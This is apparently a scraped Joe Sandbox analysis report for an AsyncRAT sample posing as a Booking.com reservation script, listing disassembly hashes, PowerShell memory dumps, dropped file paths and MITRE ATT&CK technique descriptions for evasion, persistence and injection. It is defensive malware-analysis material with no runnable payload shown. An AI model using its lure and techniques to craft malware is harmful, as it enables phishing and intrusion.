Download Yara Rule

Strings

L_I, xrefs: 00007FF848C05B04
p}H, xrefs: 00007FF848C05AD9
P~H, xrefs: 00007FF848C05BB9
`}H, xrefs: 00007FF848C05AC9
@~H, xrefs: 00007FF848C05BA9
~H, xrefs: 00007FF848C05B89
}H, xrefs: 00007FF848C05B49
0~H, xrefs: 00007FF848C05B99

Memory Dump Source

Source File: 00000003.00000002.3767911855.00007FF848C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff848c00000_powershell.jbxd

Similarity

API ID:
String ID: ~H$0~H$@~H$P~H$`}H$p}H$L_I$}H
API String ID: 0-585439373
Opcode ID: aaa8494181f980b600f7bbb5f59599524cf06d51bd08e3134d55c069dd1f4eaf
Instruction ID: d8a323d447c8c36a21258d671aafe0d87fa0b4b3ea26890c2d4b130f18f1df5a
Opcode Fuzzy Hash: aaa8494181f980b600f7bbb5f59599524cf06d51bd08e3134d55c069dd1f4eaf
Instruction Fuzzy Hash: BB418413E0ED924FE395A5EC7C171743BA0FB53BE1B9841BBC048971DB7A196D068289

Analysis Process: powershell.exePID: 2608, Parent PID: 4752COMMON

Executed Functions

Function 00007FF848C05E05 Relevance: .5, Instructions: 488COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3835255223.00007FF848C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4103c889bd0cb830153a0ca66c7129d5500790636a0adc0928c4a7ab5df9b5a
Instruction ID: da53f71d397b02f05cf74502c1e3580f5da6f4b1b2fdabd09c653b7c30b2cda6
Opcode Fuzzy Hash: e4103c889bd0cb830153a0ca66c7129d5500790636a0adc0928c4a7ab5df9b5a
Instruction Fuzzy Hash: 3EF1A131A0CA498FEF84EF98D455AAD7BE1FFA9390F14417AD009D7296DB34E841CB84

Function 00007FF848CD5A73 Relevance: .4, Instructions: 387COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3852551937.00007FF848CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d07c565ec3a7d9a3e553050687d031a0cbdbad6b0495bc8e928dbed7a4d9e6a5
Instruction ID: 21d2a2f2425ae9d8e82548b4b2dd541fece08c21bfa8396328c3ed1e421ecfd0
Opcode Fuzzy Hash: d07c565ec3a7d9a3e553050687d031a0cbdbad6b0495bc8e928dbed7a4d9e6a5
Instruction Fuzzy Hash: F0B12832E0DB8A5FE7E8FA28585517537D1EF962A0F1801BED44EC71D3DE18AC068B49

Function 00007FF848CD5BBE Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3852551937.00007FF848CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83cee6868b0991f5f96010bc1e9c3b8265f9df1f041a2e119c0ecd1b41e79389
Instruction ID: e4c82c597065e20376d55b6850993828fc660f5876bd693bb532eccda9f41747
Opcode Fuzzy Hash: 83cee6868b0991f5f96010bc1e9c3b8265f9df1f041a2e119c0ecd1b41e79389
Instruction Fuzzy Hash: E641A822F0EA865FE7E9FA28585127977D1EF9A190F5801BED04EC71D2DE189C068B09

Function 00007FF848C0DF12 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3835255223.00007FF848C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11eb40604b05aba4ef52b9ef587da4eb11c5be97ecc54d1ecfcefc38226d959c
Instruction ID: fb0ca0470de9057c0f7b7b46c6c1d5e510567b94f30c61ae77c16e55c44c4274
Opcode Fuzzy Hash: 11eb40604b05aba4ef52b9ef587da4eb11c5be97ecc54d1ecfcefc38226d959c
Instruction Fuzzy Hash: 2631E5B284E7C55FE34397B0AC161E47FB0EF43394F0A41EBE448CA093E619565AC352

Function 00007FF848C0DF50 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3835255223.00007FF848C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d5b1f62a3b5dc3ea79120b662db3785f9eafa6f33d1f0d1c179ecdf551bb9cb
Instruction ID: 0a347cf096e763b1db586e887c2c56d598175fcde55f626cdfb0e4e90804c43d
Opcode Fuzzy Hash: 6d5b1f62a3b5dc3ea79120b662db3785f9eafa6f33d1f0d1c179ecdf551bb9cb
Instruction Fuzzy Hash: F731C1E388E7C65FE34397B06C261E07FB09F13254F0A41DBD484CA0E3E6585A6AC362

Function 00007FF848C049CC Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3835255223.00007FF848C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a92b14ac190ff43c1322aec5b18489d3c94c93c3b1efc85483018b3e39669131
Instruction ID: 24d32e0d0f168534ce653f57cb5aefda6992729f39e16ce72947ad0310a5581b
Opcode Fuzzy Hash: a92b14ac190ff43c1322aec5b18489d3c94c93c3b1efc85483018b3e39669131
Instruction Fuzzy Hash: BE11C67260CB448FDB98DB1CE84196977E0FB96364F00066EE08A87297D636E846CB46

Function 00007FF848C033B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3835255223.00007FF848C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 0bed4c64f3d8194bd4dac2133ceef11b9aec5faa1eb33dab634ab80e4c27d8fa
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 6E01677115CB0C4FDB44EF0CE451AA6B7E0FB99364F10056DE58AC3691DB36E892CB45

Function 00007FF848C08AEF Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3835255223.00007FF848C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0617a9e01090253031c2578df4ac3c297bb35c3914bec9cfac6becc56f7464f3
Instruction ID: ee802613dc297d006e1f958f4fee25557721b80eb8d715aadb2f33c2be684f4c
Opcode Fuzzy Hash: 0617a9e01090253031c2578df4ac3c297bb35c3914bec9cfac6becc56f7464f3
Instruction Fuzzy Hash: 33015E30A0850A9FDB48EB94D9556BE77B1FF45385F20417DD406A7381DF386940CB95

Function 00007FF848CD4739 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3852551937.00007FF848CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f546c40588fde3de316c173ba91600bb5bfb808355e99b7aca0bf2b22e4b5e2a
Instruction ID: 6a73209a4c9d8a81567e4df3fd89d5fef965f179abf21869d2353e3807bd78d1
Opcode Fuzzy Hash: f546c40588fde3de316c173ba91600bb5bfb808355e99b7aca0bf2b22e4b5e2a
Instruction Fuzzy Hash: 9FE06D22E0E91A1EFBE4B32C24061F952C1EF85261F4605B2E54DD7186ED14AC248699

Function 00007FF848C07FFD Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3835255223.00007FF848C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e14c201bb7cfd251885c92df138ec199cf057b8578f703c40167faf8ad0b8e15
Instruction ID: 6fda23b2046c96ce0217932bdbb6581f2ad8647e17d6b10c4e52af647d294f88
Opcode Fuzzy Hash: e14c201bb7cfd251885c92df138ec199cf057b8578f703c40167faf8ad0b8e15
Instruction Fuzzy Hash: E5E0DF32C4D24D8BD765AA60684A1E43B60EF02380F5546A6E108450D2EF6A68188201

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Reservation Detail Booking.com ID4336.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: AsyncRAT

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\Users\Public\1Execute.txt

C:\Users\Public\1Framework.txt

C:\Users\Public\1invoke.txt

C:\Users\Public\1load.txt

Windows Analysis Report
Reservation Detail Booking.com ID4336.vbs

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre